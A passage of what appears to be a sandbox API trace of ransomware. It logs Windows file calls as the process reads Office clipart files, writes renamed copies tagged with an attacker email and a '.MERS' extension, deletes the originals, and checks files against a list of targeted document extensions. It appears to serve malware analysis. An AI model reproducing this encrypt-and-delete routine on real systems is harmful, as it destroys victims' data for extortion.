Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0269.434] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.434] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0269.435] GetLastError () returned 0x0 [0269.435] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0xd14, lpOverlapped=0x0) returned 1 [0269.524] WriteFile (in: hFile=0x39c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0269.644] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0269.644] WriteFile (in: hFile=0x39c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.644] SetEndOfFile (hFile=0x39c) returned 1 [0269.644] CloseHandle (hObject=0x39c) returned 1 [0269.644] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.644] SetEndOfFile (hFile=0x3c8) returned 1 [0269.646] CloseHandle (hObject=0x3c8) returned 1 [0269.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0269.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0269.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0269.646] lstrlenW (lpString=".doc") returned 4 [0269.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.646] lstrlenW (lpString=".docx") returned 5 [0269.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.646] lstrlenW (lpString=".pdf") returned 4 [0269.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.647] lstrlenW (lpString=".xls") returned 4 [0269.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.647] lstrlenW (lpString=".xlsx") returned 5 [0269.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.647] lstrlenW (lpString=".ppt") returned 4 [0269.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0269.647] lstrlenW (lpString=".zip") returned 4 [0269.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.647] lstrlenW (lpString=".rar") returned 4 [0269.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.647] lstrlenW (lpString=".bz2") returned 4 [0269.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.647] lstrlenW (lpString=".7z") returned 3 [0269.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0269.647] lstrlenW (lpString=".dbf") returned 4 [0269.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0269.647] lstrlenW (lpString=".1cd") returned 4 [0269.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0269.647] lstrlenW (lpString=".jpg") returned 4 [0269.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0269.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0269.647] lstrlenW (lpString=".doc") returned 4 [0269.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.647] lstrlenW (lpString=".docx") returned 5 [0269.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.648] lstrlenW (lpString=".pdf") returned 4 [0269.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.648] lstrlenW (lpString=".xls") returned 4 [0269.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.648] lstrlenW (lpString=".xlsx") returned 5 [0269.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.648] lstrlenW (lpString=".ppt") returned 4 [0269.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0269.648] lstrlenW (lpString=".zip") returned 4 [0269.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.648] lstrlenW (lpString=".rar") returned 4 [0269.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.648] lstrlenW (lpString=".bz2") returned 4 [0269.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.648] lstrlenW (lpString=".7z") returned 3 [0269.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0269.648] lstrlenW (lpString=".dbf") returned 4 [0269.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0269.648] lstrlenW (lpString=".1cd") returned 4 [0269.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0269.648] lstrlenW (lpString=".jpg") returned 4 [0269.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.648] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.649] lstrlenW (lpString="AN04369_.WMF") returned 12 [0269.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0269.649] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=4808) returned 1 [0269.649] CloseHandle (hObject=0x3c8) returned 1 [0269.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0269.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0269.649] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.649] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0269.650] GetLastError () returned 0x0 [0269.650] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x12c8, lpOverlapped=0x0) returned 1 [0270.400] WriteFile (in: hFile=0x39c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0270.401] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.401] WriteFile (in: hFile=0x39c, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.401] SetEndOfFile (hFile=0x39c) returned 1 [0270.401] CloseHandle (hObject=0x39c) returned 1 [0270.401] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.401] SetEndOfFile (hFile=0x3c8) returned 1 [0270.403] CloseHandle (hObject=0x3c8) returned 1 [0270.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0270.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0270.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0270.403] lstrlenW (lpString=".doc") returned 4 [0270.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.403] lstrlenW (lpString=".docx") returned 5 [0270.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.403] lstrlenW (lpString=".pdf") returned 4 [0270.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.403] lstrlenW (lpString=".xls") returned 4 [0270.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.403] lstrlenW (lpString=".xlsx") returned 5 [0270.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.403] lstrlenW (lpString=".ppt") returned 4 [0270.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0270.404] lstrlenW (lpString=".zip") returned 4 [0270.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.405] lstrlenW (lpString=".rar") returned 4 [0270.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.405] lstrlenW (lpString=".bz2") returned 4 [0270.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.405] lstrlenW (lpString=".7z") returned 3 [0270.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0270.405] lstrlenW (lpString=".dbf") returned 4 [0270.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0270.405] lstrlenW (lpString=".1cd") returned 4 [0270.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0270.405] lstrlenW (lpString=".jpg") returned 4 [0270.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0270.405] lstrlenW (lpString=".doc") returned 4 [0270.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.405] lstrlenW (lpString=".docx") returned 5 [0270.405] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.405] lstrlenW (lpString=".pdf") returned 4 [0270.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.405] lstrlenW (lpString=".xls") returned 4 [0270.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.405] lstrlenW (lpString=".xlsx") returned 5 [0270.405] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.405] lstrlenW (lpString=".ppt") returned 4 [0270.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0270.405] lstrlenW (lpString=".zip") returned 4 [0270.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.405] lstrlenW (lpString=".rar") returned 4 [0270.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.405] lstrlenW (lpString=".bz2") returned 4 [0270.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.406] lstrlenW (lpString=".7z") returned 3 [0270.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0270.406] lstrlenW (lpString=".dbf") returned 4 [0270.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0270.406] lstrlenW (lpString=".1cd") returned 4 [0270.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0270.406] lstrlenW (lpString=".jpg") returned 4 [0270.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.406] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.406] lstrlenW (lpString="AN04385_.WMF") returned 12 [0270.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0270.406] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=5004) returned 1 [0270.406] CloseHandle (hObject=0x3c8) returned 1 [0270.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0270.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0270.407] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.407] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0270.447] GetLastError () returned 0x0 [0270.447] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x138c, lpOverlapped=0x0) returned 1 [0270.616] WriteFile (in: hFile=0x410, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0270.617] ReadFile (in: hFile=0x3c8, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2e6fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.617] WriteFile (in: hFile=0x410, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2e6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.617] SetEndOfFile (hFile=0x410) returned 1 [0270.620] CloseHandle (hObject=0x410) returned 1 [0270.620] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.620] SetEndOfFile (hFile=0x3c8) returned 1 [0270.622] CloseHandle (hObject=0x3c8) returned 1 [0270.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0270.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0270.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0270.623] lstrlenW (lpString=".doc") returned 4 [0270.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.623] lstrlenW (lpString=".docx") returned 5 [0270.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.623] lstrlenW (lpString=".pdf") returned 4 [0270.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.623] lstrlenW (lpString=".xls") returned 4 [0270.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.623] lstrlenW (lpString=".xlsx") returned 5 [0270.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.623] lstrlenW (lpString=".ppt") returned 4 [0270.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0270.624] lstrlenW (lpString=".zip") returned 4 [0270.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.624] lstrlenW (lpString=".rar") returned 4 [0270.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.624] lstrlenW (lpString=".bz2") returned 4 [0270.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.624] lstrlenW (lpString=".7z") returned 3 [0270.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0270.624] lstrlenW (lpString=".dbf") returned 4 [0270.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0270.624] lstrlenW (lpString=".1cd") returned 4 [0270.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0270.624] lstrlenW (lpString=".jpg") returned 4 [0270.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0270.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0270.624] lstrlenW (lpString=".doc") returned 4 [0270.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.624] lstrlenW (lpString=".docx") returned 5 [0270.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.624] lstrlenW (lpString=".pdf") returned 4 [0270.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.624] lstrlenW (lpString=".xls") returned 4 [0270.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.624] lstrlenW (lpString=".xlsx") returned 5 [0270.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.624] lstrlenW (lpString=".ppt") returned 4 [0270.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0270.624] lstrlenW (lpString=".zip") returned 4 [0270.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.624] lstrlenW (lpString=".rar") returned 4 [0270.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.625] lstrlenW (lpString=".bz2") returned 4 [0270.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.625] lstrlenW (lpString=".7z") returned 3 [0270.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0270.625] lstrlenW (lpString=".dbf") returned 4 [0270.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0270.625] lstrlenW (lpString=".1cd") returned 4 [0270.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0270.625] lstrlenW (lpString=".jpg") returned 4 [0270.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.625] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.625] lstrlenW (lpString="BD05119_.WMF") returned 12 [0270.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0270.625] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2e6ff1c | out: lpFileSize=0x2e6ff1c*=17236) returned 1 [0270.625] CloseHandle (hObject=0x3c8) returned 1 [0270.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0270.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0270.626] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 